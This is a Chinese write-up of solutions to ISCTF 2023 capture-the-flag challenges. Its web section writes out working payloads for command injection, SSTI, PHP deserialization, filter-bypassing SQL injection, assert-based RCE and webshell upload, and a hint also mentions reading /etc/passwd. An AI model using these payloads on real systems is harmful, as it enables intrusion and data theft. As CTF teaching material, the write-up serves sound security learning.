2023ISCTF部分WP


MISC

签到题

关注公众号,回复关键词:小蓝鲨,我想打ctf

你说爱我?尊嘟假嘟

打开是一个docx文档,里面重重复复只有三句话, 你说爱我,尊嘟,假嘟,考虑其跟Ook的解密相性很大,尝试后将

你说爱我  ->  Ook.
尊嘟   ->  Ook!
假嘟   ->  Ook?

解密得到base64编码

然后进行base64解密得到flag

小蓝鲨的秘密

打开压缩包发现里面俩个文件都被加密,用010打开可以发现其是伪加密

flag.txt里面给的是一个密文

U2FsdGVkX1/ij5Hxtt6G8tDvbXIQcMLJ6isLpLmxqxW8mOmFIB4DgBGXSR3ceEcj

图片则是发现高度好像有点问题,修改高度可以得到密钥 15CTF2023

经查询可以得知其为AES加密,上网搜索解密网站得到flag

PNG的基本食用

三张图片,显而易见考的图片的三种考法

第一张图片(考查图片宽高)

第二张图片(考查stegsolve的使用)

进入stegsolve然后进行data extract,选rgb全低位即可找到中段flag

第三张图片(010里面可以找到)

但我怎么感觉这题好像是想考分离文件,里面应该是有一个part3.txt文件。

MCSOG-猫猫

群里面有一个机器人就叫本题题目的名字,对她发送 flag在哪 会收到一个信息

将该信息复制放入linux的文件中,通过vim查看可以发现其中有零宽字符隐写

发现其中有<200c>、<202c>、<200e>,将其放入零宽字符隐写解密网站,勾选其中与其相关的零宽度字符,解密得到flag

镜流

打开压缩包是加密的俩个文件

通过010查看不是伪加密,考虑为需要爆破解密

得到密码 306256

得到一张图片和一个提示,提示为 把图片缩小10倍

通过图片我们可以看到其上面有很多像素点,

通过从网上找的大佬代码修改一下将其缩小十倍

from PIL import Image

img = Image.open(r"1new.png")
w = img.width
h = img.height
img_obj = Image.new("RGB",(w//10,h//10))

for x in range(w//10):
    for y in range(h//10):
        (r,g,b)=img.getpixel((x*10,y*10))
        img_obj.putpixel((x,y),(r,g,b))

img_obj.save('ok2.png')

得到一张新的图片

stegsolver打开进行data extract发现其藏了一张png图片

保存图片打开得到flag

stream

本题是一道流量题,打开搜索http发现其有sql注入相关的信息,考虑为sql日志分析

首先通过kali虚拟机来分离出这些sql语句

通过该指令

tshark -r te.pcapng -Y “http.request” -T fields -e http.request.full_uri > data.txt

来得到其url

得到后需要在进行一次URL解码从而与脚本对应上

然后通过网上大佬的代码来运行得到flag

# 读取输入文件
with open('xxx', 'r') as file:
    lines = file.readlines()

# 初始化上一行指定位置的数字
prev_digit_position = 0

# 遍历每一行数据
for line in lines:
    # 获取当前行指定位置的数字
    start_index = line.find("SELECT flag from answer limit 0,1),") + len("SELECT flag from answer limit 0,1),")
    end_index = line.find(",1))=")
   
    if start_index != -1 and end_index != -1:
        digit_position = int(line[start_index:end_index])

        # 检查指定位置的数字是否发生变化
        if prev_digit_position + 1 == digit_position:
            # 输出当前行的上一行指定位置的数据
            prev_line = lines[lines.index(line) - 1]
            start_shuju = prev_line.find(",1))=") + len(",1))=")
            end_shuju = prev_line.find("--")
            print(chr(int(prev_line[start_shuju:end_shuju])),end="")

        # 更新上一行指定位置的数字
        prev_digit_position = digit_position

该代码出自该大佬博客

运行脚本得到flag

、

小白小黑

这个题打开靶机后,看到一堆数字

放入txt中,发现行256,列257,跟二维码十分的像啊,考虑通过代码来生成

from PIL import Image
img = Image.new('L', (256, 256))
with open('qrcode.txt', 'r', encoding='utf-8') as f:
    data = f.readlines()
for i in range(256):
    for j in range(256):
        pixel_value = int(data[j][i])
        img.putpixel((j, i), pixel_value)
img.save('2.png')

这题当时做的时候我一直在考虑英文有什么用,到现在也不知道(尴尬),生成得到一个黑色图片,放到stegsolve里面看看

发现藏着一个二维码图片,扫码可以获得flag

张万森,下雪了

打开后压缩包一个加密的压缩包,一个dic

打开010发现压缩包不是伪加密,考虑dic.txt是该压缩包的字典,需要用到字典爆破

得到密码 blueSHARK666

看似直接得到flag,但显然没有那么简单

结合题目考虑为 SNOW解密,,那么显而易见的就是另一个文件是密码咯

对tip里面的base64解密直到无法解密,然后对其进行词频分析,得到snow的密码

密码为 ISCTFZ023

得到真正的flag

sudopy

先通过指令连接上该ip

查看当前位置,发现在其有着flag,但是必须是root用户才能访问

查看web.py的信息

发现其导入了一个 webbrowser

发现这篇文章写过与其相关的py库劫持使linux权限提升Linux权限提升:Python库劫持 - FreeBuf网络安全行业门户

我这里用到的是另一个佬的方法

即通过os模块常用函数来通过system输出cat /flag的指令

ezUSB

这题当时做的时候我是真没想到键盘删除的东西也能有用,并且还起到了大用,最后竟然要靠这个去当密钥拿到flag,属实是长见识了。。。。。

首先这题我们最明显可以拿到的键盘流量就是2.5.1这边的HID DATA

可以通过tshark来获取这个HID DATA流量

tshark -r xxx.pcapng -T fields -e usb.capdata > out.txt

然后再通过下面的代码将其带上冒号

f=open('out2.txt','r')
fi=open('out3.txt','w')
while 1:
    a=f.readline().strip()
    if a:
        if len(a)==16: # 鼠标流量的话len改为8
            out=''
            for i in range(0,len(a),2):
                if i+2 != len(a):
                    out+=a[i]+a[i+1]+":"
                else:
                    out+=a[i]+a[i+1]
            fi.write(out)
            fi.write('\n')
    else:
        break

fi.close()

通过该键盘分析代码得到后把那段flag

normalKeys = {
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
    "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
     "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
      "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
       "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
         "22":"5", "23":"6","24":"7","25":"8","26":"9",
         "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
         "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
         "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
         "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
         "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
         "44":"<F11>","45":"<F12>"}
shiftKeys = {
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
     "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
      "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
       "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
         "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
          "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
          "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
          "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
          "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
          "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
          "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass

keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass

for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass

print ('output :' + "".join(output))

这里收集被删除的英文字母,合起来为soezusb,即后面的维吉尼亚解密所需要的东西(就是卡在这一步了,惨。。。)。

然后还有前半段我们可以在remote()找到

39明显可以看出来是大写锁定了,步骤跟上面差不多,将Value值提取出来,然后进行上面两个代码的运行得到前半段的flag

然后结合起来为

AGGSZ{Kp_wn_YRV_SOV_JMFYFFJS!!!}

密钥

soezusb

EZcrc

打开是一个压缩包里面很多txt文件,为三字节爆破,先用crc工具将其提取出来

第一种方法

python CRC32-Tools.py -3 flag.zip

发现其顺序不对,通过脚本使其顺序正常

with open('test.txt', 'r') as file:
    content = file.readlines()

data = [(line.split(':')[0].strip(), int(line.split(':')[1].strip(), 16)) for line in content]
sorted_data = sorted(data, key=lambda x: int(x[0].split('.')[0].split()[-1]))
for entry in sorted_data:
    print(f"{entry[0]}: {hex(entry[1])}")

然后再通过一个代码使前面的txt去掉成为标准模式

import re

def extract_hex(file_content):
    # 使用正则表达式匹配每一行txt后面的十六进制数据
    hex_values = re.findall(r'\d+\.txt:\s+(0x[0-9a-fA-F]+)', file_content)

    # 将十六进制数据用逗号隔开,头尾套上方括号
    result_str = '[' + ','.join(hex_values) + ']'

    return result_str

if __name__ == '__main__':
    # 用于测试的示例文本,你需要替换成你的实际文件路径
    file_path = "b.txt"

    with open(file_path, 'r') as file:
        example_text = file.read()
        result = extract_hex(example_text)
        print(result)

最后进行三字节爆破得到内容

import zlib

crc_list = [0xd2b184ff,0xb462df74,0x32973a9e,0x80a37b94,0x67ff2f5b,0xd2b184ff,0xb462df74,0x32973a9e,0x2bd745ce,0xd2b184ff,0xb462df74,0x32973a9e,0x8011b198,0xd2b184ff,0xb462df74,0x32973a9e,0xca923eba,0xd2b184ff,0xb462df74,0x32973a9e,0x671c3b57,0xd2b184ff,0xb462df74,0x32973a9e,0x2bd745ce,0xd2b184ff,0xb462df74,0x32973a9e,0x671c3b57,0xd2b184ff,0xb462df74,0x32973a9e,0xbae88946,0x8d05071e,0x44454e88,0xd2b184ff,0xb462df74,0x32973a9e,0x3556ac70,0xd2b184ff,0xb462df74,0x32973a9e,0xca923eba,0xd2b184ff,0xb462df74,0x32973a9e,0xf1a75063,0x8ad3bf47,0xe71302b2,0xd2b184ff,0xb462df74,0x32973a9e,0xb10371d,0xffcef5e5,0x3556ac70,0xd2b184ff,0xb462df74,0x32973a9e,0x385b0871,0x44454e88,0xe9c57755,0x67ff2f5b,0xd2b184ff,0xb462df74,0x32973a9e,0x987a20e2,0xd2b184ff,0xb462df74,0x32973a9e,0x80a37b94,0xd2b184ff,0xb462df74,0x32973a9e,0x987a20e2,0xd2b184ff,0xb462df74,0x32973a9e,0xca923eba,0xd2b184ff,0xb462df74,0x32973a9e,0x3556ac70,0xd2b184ff,0xb462df74,0x32973a9e,0xca923eba,0xd2b184ff,0xb462df74,0x32973a9e,0xf1a75063,0xd2b184ff,0xb462df74,0x32973a9e,0xf1a75063,0x67ff2f5b,0xd2b184ff,0xb462df74,0x32973a9e,0xb10371d,0x35a296cb,0xd2b184ff,0xb462df74,0x32973a9e,0xffcef5e5,0xbae88946,0xd2b184ff,0xb462df74,0x32973a9e,0xffcef5e5,0xd2b184ff,0xb462df74,0x32973a9e,0x671c3b57,0x961e78b1,0xd2b184ff,0xb462df74,0x32973a9e,0x987a20e2,0xd2b184ff,0xb462df74,0x32973a9e,0xbae88946,0xd2b184ff,0xb462df74,0x32973a9e,0x987a20e2,0x44454e88,0xd2b184ff,0xb462df74,0x32973a9e,0xffcef5e5,0xd2b184ff,0xb462df74,0x32973a9e,0x385b0871,0xd2b184ff,0xb462df74,0x32973a9e,0xacb845e7,0xb10371d,0x55de84d6,0xd2b184ff,0xb462df74,0x32973a9e,0xbae88946,0xffcef5e5,0x3556ac70,0xd2b184ff,0xb462df74,0x32973a9e,0x671c3b57,0x44454e88,0xd2b184ff,0xb462df74,0x32973a9e,0xf1a75063,0x8ad3bf47,0xd2b184ff,0xb462df74,0x32973a9e,0xf1a75063,0x5133df38,0x76ccfc6b,0x961e78b1,0xd2b184ff,0xb462df74,0x32973a9e,0x8011b198,0xd2b184ff,0xb462df74,0x32973a9e,0x385b0871,0xe9c57755,0xd2b184ff,0xb462df74,0x32973a9e,0x80a37b94,0xbae88946,0xd2b184ff,0xb462df74,0x32973a9e,0xb10371d,0xe9c57755,0x44454e88,0xd2b184ff,0xb462df74,0x32973a9e,0xacb845e7,0x5133df38,0x35a296cb,0x8ad3bf47,0xd2b184ff,0xb462df74,0x32973a9e,0xf9cd093c,0xd2b184ff,0xb462df74,0x32973a9e,0xca923eba,0xd2b184ff,0xb462df74,0x32973a9e,0xb10371d,0xd2b184ff,0xb462df74,0x32973a9e,0x385b0871,0xffcef5e5,0xd2b184ff,0xb462df74,0x32973a9e,0x80a37b94,0xd2b184ff,0xb462df74,0x32973a9e,0xb10371d,0xe9c57755,0xef809c83]# 遍历所有可能的3字节数据
for target_crc in crc_list:
    for i in range(256):
        for j in range(256):
            for k in range(256):
                data = bytes([i, j, k])  # 构造3字节数据
                crc = zlib.crc32(data) & 0xffffffff  # 计算CRC32值
                if crc == target_crc:
                    data=data.decode()
                    print(f"Found matching data: {data}")
                    break

print("Finished searching.")

爆破脚本来自该位大佬博客浅谈使用Python脚本爆破CRC32_crc32.py-CSDN博客

总结得到的信息如下图

大写的乌
壹
大写的资
大写的喔
大写的日
大写的佛
大写的资
大写的佛
大写的巫
基
得
大写的坡
大写的日
大写的鹅
伍
思
大写的特
摸
坡
大写的迂
得
零
壹
大写的希
大写的乌
大写的希
大写的日
大写的坡
大写的日
大写的鹅
大写的鹅
壹
大写的特
科
大写的摸
巫
大写的摸
大写的佛
勒
大写的希
大写的巫
大写的希
得
大写的摸
大写的迂
大写的哥
特
肆
大写的巫
摸
坡
大写的佛
得
大写的鹅
伍
大写的鹅
啊
叁
勒
大写的喔
大写的迂
零
大写的乌
巫
大写的特
零
得
大写的哥
啊
科
伍
大写的喝
大写的日
大写的特
大写的迂
摸
大写的乌
大写的特
零
玖

结合官方给的提示,https://www.xuezimu.com.cn/info/26zimu.php

可以获得一串base64代码

U1ZORFZFWjdPRE5sTmpVd01XWXRPREE1TkMwMFlXWXdMVGt4WmpFdE5Ea3lOV0UwT0dGak5HRTVmUT09

base64解密俩次获得flag

第二种方法

第二种方法更快,用一个大佬的代码直接跑压缩包就得到结果了

import zipfile
import binascii
import string
from tqdm import tqdm

fname_fcrc = {}
fcrc_fnames = {}
fcrc_value = {}

archive = zipfile.ZipFile(r"C:\Users\HXY\Desktop\flag.zip")
print('正在提取crc:')
for fname in tqdm(archive.namelist()):
    name_info = archive.getinfo(fname)
    fcrc = name_info.CRC
    fname_fcrc[fname] = fcrc
    fcrc_fnames[fcrc] = []

for fname in fname_fcrc:
    fcrc = fname_fcrc[fname]
    fcrc_fnames[fcrc].append(fname)

print('正在破解3字节长crc')
for i in tqdm(range(0, 256)):
    tempi = hex(i)[2:]
    if len(tempi) == 1:
        tempi = '0' + tempi
    tempi = binascii.a2b_hex(tempi)

    for j in range(0, 256):
        tempj = hex(j)[2:]
        if len(tempj) == 1:
            tempj = '0' + tempj
        tempj = binascii.a2b_hex(tempj)

        for k in range(0, 256):
            tempk = hex(k)[2:]
            if len(tempk) == 1:
                tempk = '0' + tempk
            tempk = binascii.a2b_hex(tempk)

            fcrc = binascii.crc32(tempi + tempj + tempk)
            if fcrc in fcrc_fnames:
                fcrc_value[fcrc] = tempi + tempj + tempk

print(f'总crc个数:{len(fcrc_fnames)},破解成功个数:{len(fcrc_value)}')

result = {}
print('正在将结果编码:')
for fcrc in tqdm(fcrc_value):
    for fname in fcrc_fnames[fcrc]:
        result[fname] = fcrc_value[fcrc].decode()

print('编码结果:')
for i in range(0, len(result)):
    print(result[f'{i}.txt'], end='')

相比第一种方法,快的不是一星半点

WEB

webinclude

还有个flag.php的空文件

dirsearch坏了,体谅一下,下面是index.bak的源码

 function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

根据上述代码以及题我们可以得知本题不知晓参数,可以通过该代码逆向求解得到parameter

从而得到flag

const hash = 'dxdydxdudxdtdxeadxekdxea';

function string_to_int_array(str) {
    const intArr = [];
    for (let i = 0; i < str.length; i++) {
        intArr.push(str.charCodeAt(i) - 97);
    }
    return intArr;
}

function int_array_to_string(int_array) {
    let str = '';
    for (let i = 0; i < int_array.length; i += 2) {
        const charcode = int_array[i] * 26 + int_array[i + 1];
        str += String.fromCharCode(charcode);
    }
    return str;
}

console.log(int_array_to_string(string_to_int_array(int_array_to_string(string_to_int_array(hash)))));

得到参数为 mihoyo 然后直接php伪协议读取flag.php得到flag

fuzz!

<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
  die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
  $file = $_GET['file'];
}
system('curl '.$file);

一共有俩个过滤,第一个匹配过滤 ‘file’ 参数的值中是否包含一些特定的字符。这些字符包括**` \ ~ ! @ # $ % ^ & * ( ) _ + = \ ‘ “ ; < > , ?** 以及字母序列 “jay“,不区分大小写(i标志)。如果匹配上就触发die函数

第二个过滤如果 ‘file’ 参数的值不匹配上述正则表达式,即不包含 “fi”、”le” 或 “flag”,则执行接下来的代码块。

先通过一个fuzz测试来看看我们还有哪些字符可用

<?php
for ($i = 32; $i < 127; $i++) {
    // 使用正则表达式检查过滤字符
    $char = chr($i);
    if (!preg_match("/[`~!@#\$%\^&*\(\)_\+=\\\'\";<>,\?]|jay/i", $char)) {
        echo $char;
    }
}
?>

-./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ[]abcdefghijklmnopqrstuvwxyz{|}

发现除去数字和字母就**空格-./[]|{|}**可用了

所以我们可以构造**url+?file=|ls /**先看看是否有回显

在构造url+?file=|cat /fl[a]ggggggg.txt

那么构造**?file=|cat /fl[a]g** 从而得到flag

当时由于课程问题没写,现在我也不知道哪个是对的flag

至于[],则是在 Unix/Linux 系统的命令行中,方括号 [] 通常用于表示字符范围。我这里直接使其范围为[a]了,一般也可以[a-z]也是能得到正确flag

恐怖G7人

发现回显为2,说明可以ssti注入

&#123&#123cycler.__init__.__globals__.os.popen('env').read()&#125&#125

查看当前环境变量得到flag

圣杯战争!!!

<?php
highlight_file(__FILE__);
error_reporting(0);

class artifact{
  public $excalibuer;
  public $arrow;
  public function __toString(){
    echo "为Saber选择了对的武器!<br>";
    return $this->excalibuer->arrow;
  }
}

class prepare{
  public $release;
  public function __get($key){
    $functioin = $this->release;
    echo "蓄力!咖喱棒!!<br>";
    return $functioin();
  }
}
class saber{
  public $weapon;
  public function __invoke(){
    echo "胜利!<br>";
    include($this->weapon);
  }
}
class summon{
  public $Saber;
  public $Rider;

  public function __wakeup(){
    echo "开始召唤从者!<br>";
    echo $this->Saber;
  }
}

if(isset($_GET['payload'])){
  unserialize($_GET['payload']);
}
?>

显而易见,这是一道pop链的题

pop链的构成为: summon -> artifact -> prepare -> saber

所以我们可以写出以下的代码

$a = new summon();
$b = new artifact();
$c = new prepare();
$d = new saber();
$a -> Saber = $b;
$b -> excalibuer = $c;
$c -> release = $d;
$d -> weapon = "php://filter/read=convert.base64-encode/resource=flag.php";
echo serialize($a);

执行得到flag

base64解密得到flag

where_is_the_flag

打开是一句话木马,通过蚁剑可以连接进去

第一段flag在flag.php里

第二个flag在根目录里

第三个flag需要用终端echo出来

可以从红色文件得知

至此,将三段flag拼接即为正确答案

绕进你的心里

<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
  echo "md5绕过了!";
  if(preg_match("/[0-9]/", $num)){
    die('你干嘛?哎哟!');
  }
  elseif(intval($num)){
    if(preg_match('/.+?ISCTF/is', $str)){
      die("再想想!");
    }
    if(stripos($str, '2023ISCTF') === false){
      die("就差一点点啦!");
    }
    echo $flag;
  }
}
?>

第一个判断可以通过数组绕过,第二个intval函数也可以通过数组绕过,最后一个if判断可以通过代码pcre回溯进行绕过

import requests
url = "http://43.249.195.138:21763/?hongmeng[]=1&shennong[]=2&zhurong[]=1"

data={
    'pan_gu':'very'*250000+'2023ISCTF'
}

r=requests.post(url,data=data)
print(r.text)

easy_website

本题的本质是SQL注入

本题需要传的俩个参,先测试下是否能注入

说明本题是单引号注入,且本题过滤了空格,以及or select union,可以用/**/来绕过空格,union、or、select则可以通过双写绕过。

获取所有数据库名(information_schema,users,mysql,test,performance_schema,sys)
username=1'/**/ununionion/**/sselectelect/**/group_concat(schema_name)/**/from/**/infoorrmation_schema.schemata#&password=1

爆users表名
username=1'/**/uunionnion/**/sselectelect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='users'#&password=1

爆users列名(user,password,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS)
username=1'/**/uunionnion/**/sselectelect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users'#&password=1

爆password字段
username=1'uunionnion/**/sselectelect/**/group_concat(passwoorrd)/**/from/**/users.users#&password=1

wafr

<?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings
  die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
  die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
  die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
  die("大胆!!!");
}
else{
  assert($_POST['code']);
}

四个if判断过滤了很多用于rce的东西,不过assert()函数等效于eval()函数,且过滤未过滤system,我们也可以通过通配符来绕过。所以构造payload

code=printf(`c\at /f*`)%0a

因为;在第三个判断就被过滤了,所以需要绕过

ez_ini

本题需要上传.user.ini文件来进行上传绕过,然后在UA头放上一句话木马以此来拿到flag

先上传一个.user.ini文件并且修改UA头

然后通过蚁剑连接在根目录下拿到flag


文章作者: Know5
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Know5 !
  目录